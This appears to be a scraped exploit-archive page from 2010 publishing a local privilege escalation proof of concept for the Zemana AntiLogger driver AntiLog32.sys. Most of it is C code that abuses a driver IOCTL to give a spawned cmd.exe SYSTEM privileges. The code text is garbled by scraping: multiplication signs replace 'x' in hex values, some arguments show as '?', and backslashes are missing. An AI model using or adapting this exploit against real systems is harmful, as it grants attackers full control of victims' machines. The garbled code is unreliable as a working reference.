Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation
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Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation
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Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability
VULNERABLE PRODUCTS
Zemana AntiLogger <=1.9.2.2.206
DETAILS:
AntiLog32.sys create a device called DeviceAntiLog32 , and handles DeviceIoControl request IoControlCode = 0×8000201C , which can elevate the privilege of a process to another process
EXPLOIT CODE:
#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0×8000 , 0×807 , METHOD_BUFFERED , FILE_ANY_ACCESS)
typedef struct _IMPERSONATE_PROCESS{
HANDLE ImpersonateProcess ;
HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;
int main(int argc, char* argv[])
{
printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755n"
"Local Privilege Escalation Vulnerability Proof-of-Conceptn"
"2010-7-28n"
"By MJ0011 th_decoder@126.comnnPress Entern");
getchar();
//bypass some useless create check
PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;
ULONG oldp ;
VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0×1 ;
VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);
HANDLE hdev = CreateFile("\\.\AntiLog32" ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,0);
if (hdev == INVALID_HANDLE_VALUE)
{
printf("cannot open device %un" , GetLastError());
getchar();
return 0;
}
STARTUPINFOA sia ;
memset(&sia , 0 , sizeof(sia));
sia.cb = sizeof(sia);
PROCESS_INFORMATION pi ;
memset(? , 0 , sizeof(pi));
if (!CreateProcess("c:\windows\system32\cmd.exe" ,
NULL ,
NULL,
NULL,
FALSE ,
CREATE_SUSPENDED,
NULL,
NULL,
&sia ,
?))
{
printf("cannot run cmd.exe….%un", GetLastError());
getchar();
return 0 ;
}
IMPERSONATE_PROCESS ip ;
ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
ULONG btr ;
if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
{
printf("cannot impersonate process %un" , GetLastError());
getchar();
return 0 ;
}
ResumeThread(pi.hThread);
printf("OKn");
return 0;
}
================================
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-28]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13499

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